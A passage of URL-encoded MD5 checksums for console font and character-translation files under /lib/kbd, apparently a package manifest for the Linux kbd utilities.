ebd5360083e04f329afc%20%20%2Flib%2Fkbd%2Fconsolefonts%2Faply16.psf.gz%0Ae29e0e6e4826c98b6724cf01fd582944%20%20%2Flib%2Fkbd%2Fconsolefonts%2Farm8.psf.gz%0Ac4627a7df80cfcd5877000e755d3bdb6%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcp850-8x14.psf.gz%0Ae44f0c3a34a74047391e704483657491%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcp850-8x16.psf.gz%0Ac33be3f1bf767a40db3d273de40d14aa%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcp850-8x8.psf.gz%0A0b5c78720a75f5e0a8ad27984c598e26%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcp865-8x14.psf.gz%0Aac7ec4e6e9992b87f544dd387a9ee57e%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcp865-8x16.psf.gz%0A54c7b486881ccc93c8165a458dd368f0%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcp865-8x8.psf.gz%0A0ce0ce173c9dadd0fb58618c4f1fdde5%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcp866-8x16.psf.gz%0Abedbedb383a73f1d87850fb52aaec679%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fcyr-sun16.psf.gz%0A32829bc94d3909a7d72f4cef648ec4a9%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fdef2_8x16.psf.gz%0A80d091dc1f2948b2a3e25ca7a12e9de1%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fdefault8x16.psf.gz%0A84834665d37885c7195004c9e57da6ed%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fdefault8x9.psf.gz%0A5a71dc11745c6164e912d05d2e1caa9e%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr.f14.psf.gz%0A62feb5119a2b141e704c1c0aa273b128%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr.f16.psf.gz%0Adc3c34409ffb958b82d62c5f30d34f0f%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr737-8x8-2.psf.gz%0A0e56196f11f1c05b01c74f396f1abcee%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr737-8x8.psf.gz%0A96bad243d92d4c42587f6d1813e65ce6%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr737-9x14-2.psf.gz%0A8c38f81943ea2783d0c2504e01c62824%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr737-9x14.psf.gz%0A9e28ac797878b2d6a12fb7c5ff9c3c77%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr737-9x16-2.psf.gz%0Ac75a990000df8eedb3cd6fad5e17f8a2%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fviscii10-8x16.psf.gz%0Ab8c4da7520f8c987a9eb8dbecfbd12c5%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr737-9x16.psf.gz%0Aede2971c48ebfa9e9031e3b3f49c30ae%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr8x14.psf.gz%0A27a79890405157142307c11358a213bb%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr8x16.psf.gz%0Ace39b827268460c91fee8434f621294f%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr8x6.psf.gz%0Ad3057875c2cd7b63657224995a2cf0e7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr8x7.psf.gz%0Ab01de14486a9193056a3d3fab90a9016%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgr8x8.psf.gz%0A320c5064ca79ad465d14df42156bfa78%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgrcourier.psf.gz%0A27b00a3783de675b29388674fa30a166%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgreek.psf.gz%0Afb7dd6957a9f686c493f875d28b9637c%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fgrfixed.psf.gz%0Ae21b2e7175b69d283cf9706e5a042e17%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso01.f08.psf.gz%0A2d17521b5cb021b0f74ae17120cbc7fa%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso01.f14.psf.gz%0Afa0f7a1d1206281afb44b3a346de7dc7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso01.f16.psf.gz%0A5b2725b53cf30369068df850fd3a5052%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso01a-8x14.psf.gz%0A855331958c097f5ae2c42e87c93fc048%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso01a-8x16.psf.gz%0A1a6d86b918bc79b15fa645d6ede47f40%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso01a-8x8.psf.gz%0A3701b8b76ccb66279f091bb3ba83aa49%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso02.f08.psf.gz%0A21223f9af69450364db9a71240f4d194%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso02.f14.psf.gz%0Af83b87f67292b72bbc0adda217d0cfb3%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso02.f16.psf.gz%0A421c49221818e89dbb1c1821a1694a78%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso03.f08.psf.gz%0Acc6b6cb6bcf5d0a5b05412b4049ee3a4%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso03.f14.psf.gz%0Ae84a00df7614e7ef38c94e05523b1796%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso03.f16.psf.gz%0A1abcd4d18fb0ee5424710eb8769638bf%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso04.f08.psf.gz%0A3cd6ed9e6eeae2a033d95e0682989e9b%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso04.f14.psf.gz%0Ada9c4712458bcb020b49b370f1093280%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso04.f16.psf.gz%0Ac805bd96622f21939d2b400318fc2e03%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso05.f08.psf.gz%0Ac4c659bb7d5f9e47255cacd683a4cbe4%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso05.f14.psf.gz%0A30d2cc4f8c007705b79ded690b696723%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso05.f16.psf.gz%0Ae7d47037b7f44ebabc731d955c645b39%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso06.f08.psf.gz%0Ab735649b42f30d396d52f4cf0db467f8%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso06.f14.psf.gz%0Aa1d6d3f3a6a4fd271ed7ab72c3b5bd36%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso06.f16.psf.gz%0Acd85703f6796b4cb46a7e866b5eb1c85%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso07.f08.psf.gz%0Ad8112bbde53314ddf48804fdfd7bfda7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso07.f14.psf.gz%0A58b6947cf27f1c10b73ad5b2d8e05d8c%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso07.f16.psf.gz%0A748ba7c1d8d1421f3a0c40405b8c532a%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso08.f08.psf.gz%0Af5cdc196a227a373f8dab2db682b1228%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso08.f14.psf.gz%0Ac6c7b10c5000b3a7cdf9971c1274a546%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso08.f16.psf.gz%0A9e9c954f67f755e0f122fea85916d122%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso09.f08.psf.gz%0A46916873117fe4eeb47c83bd20ce78ae%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso09.f14.psf.gz%0A04a60d11be21084024893368ddd4be57%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso09.f16.psf.gz%0A69af536fae82a56c0e561ad99137c18a%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso10.f08.psf.gz%0Afb9bc6cf785c0c5ca57ad4074047c7e5%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso10.f14.psf.gz%0A33d35c5a29ceadb8099023d50ff372d8%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso10.f16.psf.gz%0Aecaf07d1d883f70fc3f25f6cbc2cc24d%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fiso14.f16.psf.gz%0A1f62285acbd29c589ad2757d0846523b%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8-14.psf.gz%0A9dc48029fa2310f48ba47c41b576e9d9%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8-8x14.psf.gz%0A261c528dda4b0ff5107c4bd0eaafc277%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8-8x16.psf.gz%0A9f9574e15da4a321c4b53fdf929335cf%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8-8x8.psf.gz%0Aa82aa0e92ac8860298b5733f67a0bb70%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8b-8x16.psf.gz%0Af6437c29c94ccf313d3f846d79b9ce5f%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8c-8x16.psf.gz%0A9ed8540ae245b2c107a9f0067c4907fc%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8r-8x8.psf.gz%0Af97a652ef3ad1f3f3a6fb1b06f4d2f1c%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8u_8x14.psf.gz%0Aaac2f85c19990edcd6ab51c4df486734%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8u_8x16.psf.gz%0Aacbff56963868f43b959915a226c64bf%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fkoi8u_8x8.psf.gz%0A9d7b8c2fd2ab1ec5eef8dea0961df701%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat0-08.psf.gz%0Afa43a404d756b188fa7b47eb231eb4af%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat0-10.psf.gz%0A0c383a6fe6a287f5d0a1df4aee8c1c42%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat0-12.psf.gz%0Af17c07227802b4fabde41ceb7be8ab58%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat0-14.psf.gz%0Aae7cd87faa0cd4583bcfd81a5a9a2fea%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat0-16.psf.gz%0Aed03d935b2ae3d0120e69e85a2296056%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat0-sun16.psf.gz%0Ab255bab5d5f9e79849960569540f57f8%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1-08.psf.gz%0A2e20510f10390e62f4cd597b4f28b812%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1-10.psf.gz%0A12bef84987f5b1a99582e23b68698bc0%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1-12.psf.gz%0Aff036263a37a9784c3dd6a4575406387%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1-14.psf.gz%0A1dbe9a33c75fe8744fa2b44ed4a168f0%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1-16.psf.gz%0A413efddb4dbed8249e5d890b23d930e2%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1u-08.psf.gz%0A8b683358974428a14cbb815a2977b550%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1u-10.psf.gz%0A439b4218d8994a5c88c34f3b3c58eea5%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1u-12.psf.gz%0A4c88504f72fde7e89f21b21b15dec236%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1u-14.psf.gz%0A74bd694f9bebd58e02059d2331f61df4%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat1u-16.psf.gz%0A4a2b0f8aaf4110b7d3541e33b9812868%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat2-08.psf.gz%0Abf664fe1b5fcd33fa1e38677a7aa49de%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat2-10.psf.gz%0A72854312c5b8f2aae9a2e1d2ae48572c%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat2-12.psf.gz%0A703e2c5eeb038541442d6a7591434bbc%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat2-14.psf.gz%0Aa1bcd56066758046c37eecaab2668aed%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat2-16.psf.gz%0Ad207242ee0dd08cdb69d20e11f7e00ad%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat2-sun16.psf.gz%0A2ad36931eb7a74c8879fed08b05c8a97%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat2u-16.psf.gz%0A4e77e20ecd66ae60bee3da3c1bfb9a3c%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4-08.psf.gz%0Ab3871be603f4b0c27dc1785c8c26a0f7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4-10.psf.gz%0Adea20c0138310c16cbc60d7319fddeac%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4-12.psf.gz%0A0631275e797a244e5b9d8f26c5cdd7cf%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4-14.psf.gz%0A9e9c9b7bdf2e17a51b942595104c8f56%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4-16%2B.psf.gz%0A302b914fe5f3817b61c10a3fc1e21815%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4-16.psf.gz%0A8b472d49e0151791d4b54ac72587c7c6%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4-19.psf.gz%0A903e3f71a5818bb09fda55b3bfe81501%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4a-08.psf.gz%0A5fba3fd1595d647daabfa734981f6b91%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4a-10.psf.gz%0A882ee00ad882978c952867ff4b503752%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4a-12.psf.gz%0A4a7a48d926bd6b2f6e17ba63ccc1adb7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4a-14.psf.gz%0Ad404fdc1f99286f5a200eda8482ab66d%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4a-16%2B.psf.gz%0Ae648cf4a3c3a374d253048f39aa768ad%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4a-16.psf.gz%0Ae2e45a5bc82c18bc1fd3884b9d8fa363%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4a-19.psf.gz%0A731531e6355e9869e03a52bf95bae2e4%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4u-08.psf.gz%0A8357e3ca8a5b0fb775f5dd177c97921e%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4u-10.psf.gz%0A4c466d49cb39a75c7477c61dee299b6b%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4u-12.psf.gz%0A0c5f8e90a1b381002c4228e1bc7a3209%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4u-14.psf.gz%0A78ce25d2c66b3cbd56ab8634f2a875ad%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4u-16%2B.psf.gz%0A2f3410beeada357a642f3078ac114bb8%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4u-16.psf.gz%0Aea98636591fb8578f906f3e2464d4a51%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat4u-19.psf.gz%0A71fa89f2a63a364ea6d27dcb6b52dd24%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat5-12.psf.gz%0A31837bb6bac8b54ef566ddad7cc1e56b%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat5-14.psf.gz%0A90bf960e3907f5fd0f137db9ea2cfff3%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat5-16.psf.gz%0Add0a7e28e991dd800c62b399e57fa6c4%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat7-14.psf.gz%0A6a52a9ab746ba954ea7a336794ed04f9%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9-08.psf.gz%0Afa4e448627ff37a40b9201f37cbb2406%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9-10.psf.gz%0Ab817a14b97d9ddc6c1a0fb7fccf9176e%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9-12.psf.gz%0A4199b90b3348ad83b46ccc0928f4a118%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9-14.psf.gz%0A9afe096b469281f2dfff3b23a0f67b56%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9-16.psf.gz%0A8512b596a510708ecf006fbb6899ce31%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9u-08.psf.gz%0Acd5e8f7f5969f19d478339ddac8889a7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9u-10.psf.gz%0A9b4e314e7ffebaf7e294e533aaad28e3%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9u-12.psf.gz%0Adc4c9abec145cadbdb41e270d84f58c7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9u-14.psf.gz%0A4db81d39d609d339f93c13fc0ba699de%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9u-16.psf.gz%0Ac5a2c163b4bc58d397f08f4e9052bec5%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9v-08.psf.gz%0Af1c76dbbc730c1264ec299f7008381c5%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9v-10.psf.gz%0A31d6570a9768edb456eb3498bcc9aa34%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9v-12.psf.gz%0A25a2fefd190488cc98b42dbd09e132c5%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9v-14.psf.gz%0A0524ca3a261b333dc1834c07d8e187d8%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9v-16.psf.gz%0A74b1f8118883752e2968eb89ad737a07%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9w-08.psf.gz%0A2adc7589ef2e6c601ad9c630191917df%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9w-10.psf.gz%0Afb496ecf38a59959d0211d47f1bc8835%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9w-12.psf.gz%0Aa570633f9194a09335e9cca208b6c124%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9w-14.psf.gz%0Aeef46b799d7d7d060d5824859d88c804%20%20%2Flib%2Fkbd%2Fconsolefonts%2Flat9w-16.psf.gz%0A121d711bb7de7a48c1ebf250da46318f%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fruscii_8x14.psf.gz%0A7d8c7cbe54e2a0e133524ac6a21a3848%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fruscii_8x16.psf.gz%0Af29928efe2b26062146a6601160fce46%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fruscii_8x8.psf.gz%0Aab278c54c4e5908fd9f8436d54f4b6cc%20%20%2Flib%2Fkbd%2Fconsolefonts%2Ft.psf.gz%0A3f96ebbf7cf3d821ce1ed0045b69fd7d%20%20%2Flib%2Fkbd%2Fconsolefonts%2Ft850b.psf.gz%0A42ee33d09133a267721f8669d8e3edb3%20%20%2Flib%2Fkbd%2Fconsolefonts%2Ftcvn8x16.psf.gz%0A4354a9d3172e4735ae7acfb6e427dca9%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fucw08.psf.gz%0Ad3f387530392546a07a73d08666974a9%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fucw11m.psf.gz%0Ae0a3a3ab9d42abd754cbaf1230245d5b%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fucw11z.psf.gz%0Ad9d6a8bdb6d67cc989bc9a0109f6a1b7%20%20%2Flib%2Fkbd%2Fconsolefonts%2Fucw16.psf.gz%0A50372dc8f0f3ddc919ca14d47489a34c%20%20%2Flib%2Fkbd%2Fconsoletrans%2FMacCyrillic.acm.gz%0A9c01a449a2de92d889b5cd068bc7c489%20%20%2Flib%2Fkbd%2Fconsoletrans%2FCyr_a.sfm.gz%0A61b11c8b66da2a467b999603dfdf528b%20%20%2Flib%2Fkbd%2Fconsoletrans%2FECMA144.sfm.gz%0A99d2527d10db0b0d2706a430a2a0ac01%20%20%2Flib%2Fkbd%2Fconsoletrans%2Farabic_forms.fallback.gz%0A88b074e953a769f09552eb69fb8c83c6%20%20%2Flib%2Fkbd%2Fconsoletrans%2FUniCyr.sfm.gz%0Aa5106cff9713894b586d1c25d736b09a%20%20%2Flib%2Fkbd%2Fconsoletrans%2Falt.sfm.gz%0Ae658d17b8dd4060ec10226ea54877d14%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fviscii1.0_to_viscii1.1.trans%0Ad98de95c5328c99976bb1206177b120c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Farabic_forms.nofallback.gz%0Ae8a92482fb78093a83c494b973e3f6f0%20%20%2Flib%2Fkbd%2Fconsoletrans%2Farmscii8.sfm.gz%0A046b9876c38f18c5984ab255d8bc8318%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fbulgarian-mic.acm.gz%0A26c3c74a9cb28e38796296802ef73918%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp1251.acm.gz%0Ac154caa4c5c0552a67d9ccd8bbab95aa%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp437.acm.gz%0Ab5f279732c72497f5e87ea912205ce24%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp437.sfm.gz%0A56cd802f97929e8a92dbc7ddc46493d7%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp437_to_iso01.trans%0A0ddeb7bd2cc396e96f0d570ce8be857f%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp850.sfm.gz%0A44d2ae6f91b4a2f2dc3e80fc5dc2755c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp850_to_iso01.trans%0Ac5379396c48a9245e0a85a14f9c83b3a%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp850b.sfm.gz%0A16c6f3ac5fc05d49155ec759df98eb8c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp866.acm.gz%0A2afe07831d2ff9242335ba8d0a3269ed%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fcp866.sfm.gz%0Ae7f9a575ddf28cf17b140c91ef5d87c4%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fdef.sfm.gz%0A557bf00f47c32d946b3af4934b548050%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fethiopic.sfm.gz%0Aa79d295cca16202453cb6ca58b34128c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fgraph.fallback.gz%0A85104edecd96f7080f8a4a120fd27cf0%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso01.acm.gz%0Abe854b094b2c601c9aa400fdad4a6b4c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso01.sfm.gz%0A6c77ec611607c8cb422001dd1491d8b3%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso02%2Beuro.acm.gz%0A7499fbf05924e877ab86814bfd9401a2%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso02.acm.gz%0A4c5f47b9c039ec1fe8508a226e620c1e%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso02.sfm.gz%0A4093335ece8803147b2bf860e431700d%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso03.acm.gz%0A5724244e117be59db2547ce768cea670%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso03.sfm.gz%0Ac2cf6ddbe5b635192b69c2b7c1e611e0%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso04.acm.gz%0A67a7258db74f43a829bb249dfa98b9f3%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso04.sfm.gz%0A04f0947e5f803898959632af10b4170e%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso05.acm.gz%0A4131ff916bd825332151b6e7ff39115e%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso05.sfm.gz%0A970d162df7b2187e6b65b84c91c473fe%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso06.acm.gz%0Ad0bad7e4e229e937f645ff71f7d87a43%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso06.sfm.gz%0Ab1db193bfc12921d48d43daadda3c069%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso07.acm.gz%0A926fb13c4e5a755fa818c524d8b186fd%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso07.sfm.gz%0A5add2a43226c100f886171751bc242c1%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso08.acm.gz%0A463eb482925cf6ac4e6caf274239180a%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso08.sfm.gz%0A541a7d87b122ade6610bd34ff35f39db%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso09.acm.gz%0Ab2ef1abb5b624f4e13ab44f4fbc5639b%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso09.sfm.gz%0A11e21008d016072b20d0032679d24cca%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso10.acm.gz%0Ad4db83d3c4a742685897829e349a5b86%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso10.sfm.gz%0A8f928f87bfe636fe1d8db0db52cc669f%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso14.sfm.gz%0A979b42ef20a79143380e7f2426be2978%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso15.acm.gz%0Aaf34677126dd0d8e7ecf7f0e490c526c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso15.sfm.gz%0Ad21304d04d922d6e1bdec9421d2bcae5%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fiso8859-5.acm.gz%0A4b8cfeb661f1023f2f9c70effe00dd0e%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fkoi2alt.trans%0A92b3eb844dcb68d733d74c508a81ef10%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fkoi8-r.acm.gz%0A472888c3c99950b64cc5a0b2caa3ed35%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fkoi8-r.sfm.gz%0A528eb76c5580563fc98c0348bd071145%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fkoi8-u.acm.gz%0Aa219dcebd94a9f895f56d9c56021fbe8%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fkoi8u.acm.gz%0Ae3d617f537bfea1eee2d686d9a23b5d2%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fkoi8u.sfm.gz%0A373714f344960ada9af7ff042fccf7c3%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fkoi8u2ruscii.trans%0A073e37508471d0ea49f886990765a7e5%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat1.sfm.gz%0Ad1a9271497af482d57b55c3bad05112f%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat1u.sfm.gz%0Aac034528c515accd661b08d0a89e1cf3%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat2u.sfm.gz%0Abaf5341e73411cbf59b9af176816fd87%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat4.sfm.gz%0Ac6fbcb9a99d39f29b52837d88bd99d71%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat4u.sfm.gz%0Af35aa3542c20aeb8803152c089d0554c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat9u.uni.gz%0A9ae3b54552dada183ff9fee3950fc600%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat9v.uni.gz%0A1a0f4143285b5a845d581d382f1856c5%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flat9w.uni.gz%0Aa9118fc929ad2ff4a4192f3c1ea5ac8c%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flatin2-ucw.scrnmap%0A335a57bd0a89bc70c9c9883b37003879%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flatin2-ucw.uni.gz%0A68c0f46f68b74ca04857df20fc42ac01%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flatin_diacr.fallback.gz%0A15ec926da54eb09d25a6e14293a82d0b%20%20%2Flib%2Fkbd%2Fconsoletrans%2Flatin_diacr.nofallback.gz%0A18bd3a218484eab0193c06b9c6db0495%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fmath.fallback.gz%0A4b6ed57f3ba3f12c2a32baf8555a1622%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fmisc.fallback.gz%0A13c8f05f7b266c99008a3211185ea2d8%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fnull.trans%0Ace79b91a86e262899a31af605dd15d8e%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fqrczak.fallback.gz%0A76e8abfa7d89b8dce91bf595e6d3ce2d%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fruscii.acm.gz%0A005185dd0d0f27270c907319a5273e61%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fruscii.sfm.gz%0A25b046db03801d07ba9b2d7f111a94c3%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fspace.trans%0Afc0ebe07ff5c717138549b927b8b60a1%20%20%2Flib%2Fkbd%2Fconsoletrans%2Fstraight-to-font.acm.gz%0A33f0770850756a7b587930931dfe1575%20%20%2Flib%2Fkbd%2Fconsoletrans%2Ftcvn.sfm.gz%0A02bd8256f1200ef705d65aafe37b5eed%20%20%2Flib%2Fkbd%2Fconsoletrans%2Ftrivial.trans%0A67d13cbc56c8adfc3059023f6bd22920%20%20%2Flib%2Fkbd%2Fc